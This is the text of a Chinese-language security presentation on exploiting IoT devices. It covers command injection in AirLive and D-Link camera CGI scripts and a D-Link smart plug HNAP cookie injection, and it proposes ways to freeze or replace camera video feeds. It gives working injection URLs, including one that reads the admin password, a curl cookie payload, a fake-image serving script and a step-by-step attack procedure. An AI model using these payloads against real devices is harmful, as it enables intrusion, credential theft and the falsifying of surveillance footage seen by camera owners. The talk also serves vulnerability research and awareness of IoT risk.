Your browser doesn't support the features required by impress.js, so you are presented with a simplified version of this presentation.
For the best experience please use the latest Chrome, Safari or Firefox browser.
其中cgi_test.cgi可以为授权访问,在处理 write_mac, write_pid, write_msn, write_tan, write_hdv 的时候会造成命令注入
使用QUERY_STRING获取?后面的值作为参数,传参之后会调用info_writer这个文件,最终调用system()执行
sub_93F4
STMFD SP!, {R4-R7,LR}
LDR R0, =aQuery_string ; "QUERY_STRING"
SUB SP, SP, #4
BL getenv
MOV R2, R5
LDR R1, =aOptIpncInfo__1 ; "/opt/ipnc/info_writer -p %s > /dev/null"
MOV R0, SP
BL sprintf
MOV R0, SP
BL system
MOV R2, R5
LDR R1, =aWrite_pidOkPid ; "WRITE_PID OK, PID=%s\r\n"
LDR R0, =unk_1977C
MOV R4, SP
BL sprintf
B loc_9728
AirLive Command Injection PWNed
所以我们完全可以在传入几个受影响的参数后注入;或者&&的方式来注入我们的恶意命令
/cgi_test.cgi?write_pid&;id&
/cgi_test.cgi?write_pid&&&id&

这是个影响很大的洞,至今依旧影响很多基于D-link固件二次开发的摄像头(尤其国内厂商)
在/var/www/cgi-bin/中,rtpd.cgi处理出现了漏洞
echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain spaces."
. $conf > /dev/null 2> /dev/null
eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"
case $action in
start)
$script start
;;
stop)
$script stop
;;
...
eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"
代码本意是要在?后传入action控制设备状态,奈何开发想法多,路子野,他的头很铁,$QUERY_STRING取问号后的值将&替换后eval执行。传值完全可控,excuse me?
D-link Command Injection PWNed
/cgi-bin/rtpd.cgi?id
/cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount

其实,掌握这个技能是可以衍生到其他大部分智能设备的,比如去年我发现的dlink智能插座漏洞
漏洞成因比较简单,但执行链比较有趣,hnap请求中cookie的内容未经过任何处理,直接传递给了sprintf()调用并为了验证身份入库查询,因此形成了一个sqli,然而sql查询直接传给了popen()还造成了命令执行
HNAP(Home Network Administration Protocol)是一种基于 HTTP-SOAP 实现的网络管理协议,此处设备使用的就是HNAP协议
在此前,男神devttys0点草了dlink的另一款智能插座DSP-W215 4次
Hacking the D-Link DSP-W215 Smart Plug
D-Link DSP-W110 Smart Plug PWNed
接下来,没有对任何数据进行处理直接把拼好的查询交给了popen(WTF???)造成命令执行
curl --cookie "terribleness='\`echo "ztz_162"\`" ip

原理很简单,大部分ipcam实现传输画面通过两种方式,通过RTSP/RTMP协议推送直播流,或镜头拍下图片后实时刷新图片反馈到画面
由此,我有了篡改的想法,kill传输流的进程使之画面冻结,或篡改镜头拍下的图片使之完成篡改
如果结合我们通过漏洞挖掘发现的命令注入,还能达到远程篡改的效果
然而,仔细思考会发现,这并不是一个最佳的hacking手法,如果kill进程冻结,对方刷新管理洁面后,进程重新启动,如果篡改图片,如何保证接下来镜头拍下的图片不覆盖我们的篡改图片
经过机智的我深思,如果我把正常传输进程抓包,模拟他的发包传输我自己的篡改图片,或者做一个类似MITM的中间人攻击,把正常进程发包图片替换,就可以完成完美篡改了!
当然,如果设备是通过不断刷新图片的方式达到实时效果而不是
rtsp/rtmp这样的实时传输协议也可以通过我之前blog说过的利用发包强占
如果机智一些,我们可以结合命令执行的方式,再cgi脚本中加入执行我们的bash脚本然后远程利用
#!/bin/sh
echo -ne “HTTP/1.1 200 OK\r\nContent-Type: image/jpeg\r\n\r\n”
cat ztzsb.jpg
1)找到目标摄像头并确定其版本,型号,对固件进行下载分析
2)利用之前该版本爆出过的漏洞或者自己对固件分析后得到的漏洞获取会话
3)确定用于视频流传输的协议
4)找到处理视频流的CGI
5)分析脚本文件,找到脚本中的功能函数
6)有些摄像头固件是没有动态脚本的,功能处理都写在server的bin中,所以还要分析server的bin文件
你看到的不是真的,hack it!
最后安利一个工具:videojak是一个很简单的ipcam的安全测试工具,它可以在你获取到的ipcam中做一个类似MITM的中间人攻击,直接劫持整个画面的传输流,或者重放上一个传输流
这个世界好危险
未来社会是IOT社会,智能设备的出现便利了生活,工作,也带来了各种安全隐患,本文中所涉及到的漏洞仍不属于主流利用的,更多的恶意利用是在公共网络空间中开放暴露的设备弱口令,默认口令,官方预留后门
Use a spacebar or arrow keys to navigate